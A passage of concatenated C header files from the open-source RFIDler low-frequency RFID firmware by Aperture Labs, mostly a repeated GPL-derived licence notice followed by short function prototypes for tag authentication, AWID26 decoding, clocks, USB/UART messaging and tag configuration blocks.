* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
BOOL tag_auth(unsigned int block, BYTE *response, BYTE *key);
================================================
FILE: firmware/Pic32/RFIDler.X/include/auto.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
BYTE autopot(void);
unsigned int autorate(void);
================================================
FILE: firmware/Pic32/RFIDler.X/include/awid.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#define AWID26_DATABITS 96
BOOL awid26_hex_to_uid(unsigned char *response, unsigned char *awid26);
BOOL bcd_to_awid26_bin(unsigned char *awid26, unsigned char *bcd);
BOOL awid26_get_uid(BYTE *response);
BOOL awid26_hex_to_uid(BYTE *response, BYTE *hex);
================================================
FILE: firmware/Pic32/RFIDler.X/include/clock.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
//void shutdown_clock(void);
void InitHWClock(BYTE type, unsigned long width, unsigned long period, BYTE initial_state);
void InitHWReaderISR(unsigned long time, BOOL immediate);
void pause_HW_clock_FC(unsigned long fc, BYTE state);
void stop_HW_clock(void);
void stop_HW_reader_ISR(void);
void clock_test();
unsigned int GetTimer_us(BYTE reset);
unsigned long GetTimer_ticks(BYTE reset);
void Delay_us(unsigned long us);
void TimerWait(unsigned long ticks);
void TimerWait_FC(unsigned long fc);
================================================
FILE: firmware/Pic32/RFIDler.X/include/comms.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
void UserMessage(BYTE *format, BYTE *message);
void UserMessageNum(BYTE *message, unsigned long num);
BYTE GetUserMessage(char *buffer, BYTE len);
void SendUSBMessage(char *message, unsigned int len);
void UserBinary(char *message, unsigned int length);
void UserBinaryByte(BYTE message);
void SendUART3Message(unsigned char *message, unsigned int len);
unsigned int GetUART3Message(unsigned char *message, unsigned int timeout);
//void SendUSBMessageNum(char *message, unsigned long num);
//void SendUSBMessageHexNum(char *message, unsigned long num);
BYTE get_prompt(unsigned char *prompt);
void BlinkCommsStatus(void);
BOOL get_user_abort(void);
void eod(void);
================================================
FILE: firmware/Pic32/RFIDler.X/include/config.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include
#define GET_CONFIG(config, mask, shift) ((config & mask) >> shift)
#define SET_CONFIG(config, mask, shift, setting) ((config & ~mask) | ((setting << shift) & mask))
BOOL config_block_number(unsigned int *block, BYTE tagtype);
BOOL pw_block_number(unsigned int *block, BYTE tagtype);
BOOL info_block_number(unsigned int *block, BYTE tagtype);
BOOL config_user_block(unsigned int *block, BYTE tagtype);
BOOL get_config_block(BYTE *out, BYTE tagtype);
BOOL get_pw_block(BYTE *out, BYTE tagtype);
BOOL get_info_block(BYTE *out, BYTE tagtype);
BOOL config_block(BYTE *config, BYTE target_tagtype, BYTE emulator_tagtype);
BOOL config_block_show(BYTE *config, BYTE *password, BYTE *info, BYTE tagtype);
================================================
FILE: firmware/Pic32/RFIDler.X/include/debug_pins.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
